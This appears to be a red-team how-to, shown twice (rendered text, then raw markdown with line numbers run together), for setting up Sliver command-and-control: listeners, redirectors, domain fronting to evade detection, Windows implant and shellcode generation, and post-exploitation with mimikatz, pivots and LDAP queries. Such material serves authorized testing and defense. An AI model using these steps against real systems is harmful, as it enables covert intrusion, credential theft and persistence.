Building C2 Infrastructure with Sliver Framework
Overview
Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.
Objectives
- Deploy a Sliver team server on hardened cloud infrastructure
- Configure HTTPS, mTLS, DNS, and WireGuard listeners
- Generate implants (beacons and sessions) for target platforms
- Set up NGINX or Apache redirectors between implants and the team server
- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation
- Configure multi-operator access with certificate-based authentication
- Establish operational security controls for C2 communications
MITRE ATT&CK Mapping
- T1071.001 - Application Layer Protocol: Web Protocols
- T1071.004 - Application Layer Protocol: DNS
- T1573.002 - Encrypted Channel: Asymmetric Cryptography
- T1090.002 - Proxy: External Proxy (Redirectors)
- T1105 - Ingress Tool Transfer
- T1132.001 - Data Encoding: Standard Encoding
- T1572 - Protocol Tunneling
Implementation Steps
Phase 1: Team Server Deployment
- Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server
- Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban
- Install Sliver using the official install script:
curl https://sliver.sh/install | sudo bash
- Start the Sliver server daemon:
systemctl start sliver
# Or run interactively
sliver-server
- Generate operator configuration files for team members:
new-operator --name operator1 --lhost <team-server-ip>
Phase 2: Listener Configuration
- Configure an HTTPS listener with a legitimate SSL certificate:
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
- Configure a DNS listener for fallback C2:
dns --domains c2dns.example.com --lport 53
- Configure mTLS listener for high-security sessions:
mtls --lhost 0.0.0.0 --lport 8888
- Configure WireGuard listener for tunneled access:
wg --lport 51820
Phase 3: Redirector Setup
- Deploy a separate VPS as a redirector (positioned between targets and team server)
- Install and configure NGINX as a reverse proxy:
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
- Configure iptables rules on the team server to only accept connections from the redirector:
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
- Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting
Phase 4: Implant Generation
- Generate an HTTPS beacon implant:
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
- Generate a DNS beacon for restricted networks:
generate beacon --dns c2dns.example.com --os windows --arch amd64
- Generate a shellcode payload for injection:
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
- Configure beacon jitter and callback intervals:
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
Phase 5: Post-Exploitation Operations
- Interact with active beacons/sessions:
beacons # List active beacons
use <beacon-id> # Interact with a beacon
- Execute post-exploitation modules:
ps # Process listing
netstat # Network connections
execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies
sideload /path/to/mimikatz.dll # Load DLLs
- Set up pivots for internal network access:
pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host
- Use BOF (Beacon Object Files) for in-memory execution:
armory install sa-ldapsearch # Install from armory
sa-ldapsearch -- "(objectClass=user)" # Execute BOF
Tools and Resources
| Tool |
Purpose |
Platform |
| Sliver Server |
C2 team server and implant management |
Linux/macOS/Windows |
| Sliver Client |
Operator console for team members |
Cross-platform |
| NGINX |
Redirector and reverse proxy |
Linux |
| Certbot |
Let's Encrypt SSL certificate generation |
Linux |
| Cloudflare |
CDN and domain fronting |
Cloud |
| Armory |
Sliver extension/BOF package manager |
Built-in |
Detection Signatures
| Indicator |
Detection Method |
| Default Sliver HTTP headers |
Network traffic analysis for unusual User-Agent strings |
| mTLS on non-standard ports |
Firewall logs for outbound connections to unusual ports |
| DNS TXT record queries with high entropy |
DNS log analysis for encoded C2 traffic |
| WireGuard UDP traffic on port 51820 |
Network flow analysis for WireGuard handshake patterns |
| Sliver implant file hashes |
EDR/AV signature matching against known Sliver samples |
Validation Criteria
1---2name: building-c2-infrastructure-with-sliver-framework3description: Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.4domain: cybersecurity5subdomain: red-teaming6tags: [red-team, c2-framework, sliver, command-and-control, adversary-simulation, infrastructure, post-exploitation]7version: "1.0"8author: mahipal9license: Apache-2.010---1112# Building C2 Infrastructure with Sliver Framework1314## Overview1516Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.1718## Objectives1920- Deploy a Sliver team server on hardened cloud infrastructure21- Configure HTTPS, mTLS, DNS, and WireGuard listeners22- Generate implants (beacons and sessions) for target platforms23- Set up NGINX or Apache redirectors between implants and the team server24- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation25- Configure multi-operator access with certificate-based authentication26- Establish operational security controls for C2 communications2728## MITRE ATT&CK Mapping2930- **T1071.001** - Application Layer Protocol: Web Protocols31- **T1071.004** - Application Layer Protocol: DNS32- **T1573.002** - Encrypted Channel: Asymmetric Cryptography33- **T1090.002** - Proxy: External Proxy (Redirectors)34- **T1105** - Ingress Tool Transfer35- **T1132.001** - Data Encoding: Standard Encoding36- **T1572** - Protocol Tunneling3738## Implementation Steps3940### Phase 1: Team Server Deployment411. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server422. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban433. Install Sliver using the official install script:44 ```bash45 curl https://sliver.sh/install | sudo bash46 ```474. Start the Sliver server daemon:48 ```bash49 systemctl start sliver50 # Or run interactively51 sliver-server52 ```535. Generate operator configuration files for team members:54 ```bash55 new-operator --name operator1 --lhost <team-server-ip>56 ```5758### Phase 2: Listener Configuration591. Configure an HTTPS listener with a legitimate SSL certificate:60 ```bash61 https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem62 ```632. Configure a DNS listener for fallback C2:64 ```bash65 dns --domains c2dns.example.com --lport 5366 ```673. Configure mTLS listener for high-security sessions:68 ```bash69 mtls --lhost 0.0.0.0 --lport 888870 ```714. Configure WireGuard listener for tunneled access:72 ```bash73 wg --lport 5182074 ```7576### Phase 3: Redirector Setup771. Deploy a separate VPS as a redirector (positioned between targets and team server)782. Install and configure NGINX as a reverse proxy:79 ```nginx80 server {81 listen 443 ssl;82 server_name c2.example.com;83 ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;84 ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;8586 location / {87 proxy_pass https://<team-server-ip>:443;88 proxy_ssl_verify off;89 proxy_set_header Host $host;90 proxy_set_header X-Real-IP $remote_addr;91 }92 }93 ```943. Configure iptables rules on the team server to only accept connections from the redirector:95 ```bash96 iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT97 iptables -A INPUT -p tcp --dport 443 -j DROP98 ```994. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting100101### Phase 4: Implant Generation1021. Generate an HTTPS beacon implant:103 ```bash104 generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload105 ```1062. Generate a DNS beacon for restricted networks:107 ```bash108 generate beacon --dns c2dns.example.com --os windows --arch amd64109 ```1103. Generate a shellcode payload for injection:111 ```bash112 generate --http https://c2.example.com --os windows --arch amd64 --format shellcode113 ```1144. Configure beacon jitter and callback intervals:115 ```bash116 generate beacon --http https://c2.example.com --seconds 60 --jitter 30117 ```118119### Phase 5: Post-Exploitation Operations1201. Interact with active beacons/sessions:121 ```bash122 beacons # List active beacons123 use <beacon-id> # Interact with a beacon124 ```1252. Execute post-exploitation modules:126 ```bash127 ps # Process listing128 netstat # Network connections129 execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies130 sideload /path/to/mimikatz.dll # Load DLLs131 ```1323. Set up pivots for internal network access:133 ```bash134 pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host135 ```1364. Use BOF (Beacon Object Files) for in-memory execution:137 ```bash138 armory install sa-ldapsearch # Install from armory139 sa-ldapsearch -- "(objectClass=user)" # Execute BOF140 ```141142## Tools and Resources143144| Tool | Purpose | Platform |145|------|---------|----------|146| Sliver Server | C2 team server and implant management | Linux/macOS/Windows |147| Sliver Client | Operator console for team members | Cross-platform |148| NGINX | Redirector and reverse proxy | Linux |149| Certbot | Let's Encrypt SSL certificate generation | Linux |150| Cloudflare | CDN and domain fronting | Cloud |151| Armory | Sliver extension/BOF package manager | Built-in |152153## Detection Signatures154155| Indicator | Detection Method |156|-----------|-----------------|157| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |158| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |159| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |160| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |161| Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |162163## Validation Criteria164165- [ ] Team server deployed and hardened with firewall rules166- [ ] HTTPS listener configured with valid SSL certificate167- [ ] DNS listener configured as fallback C2 channel168- [ ] At least one redirector deployed between targets and team server169- [ ] Multi-operator access configured with unique certificates170- [ ] Implants generated for target operating systems171- [ ] Beacon callback intervals and jitter configured for stealth172- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)173- [ ] Pivot functionality validated for internal network access174- [ ] All C2 traffic encrypted and passing through redirectors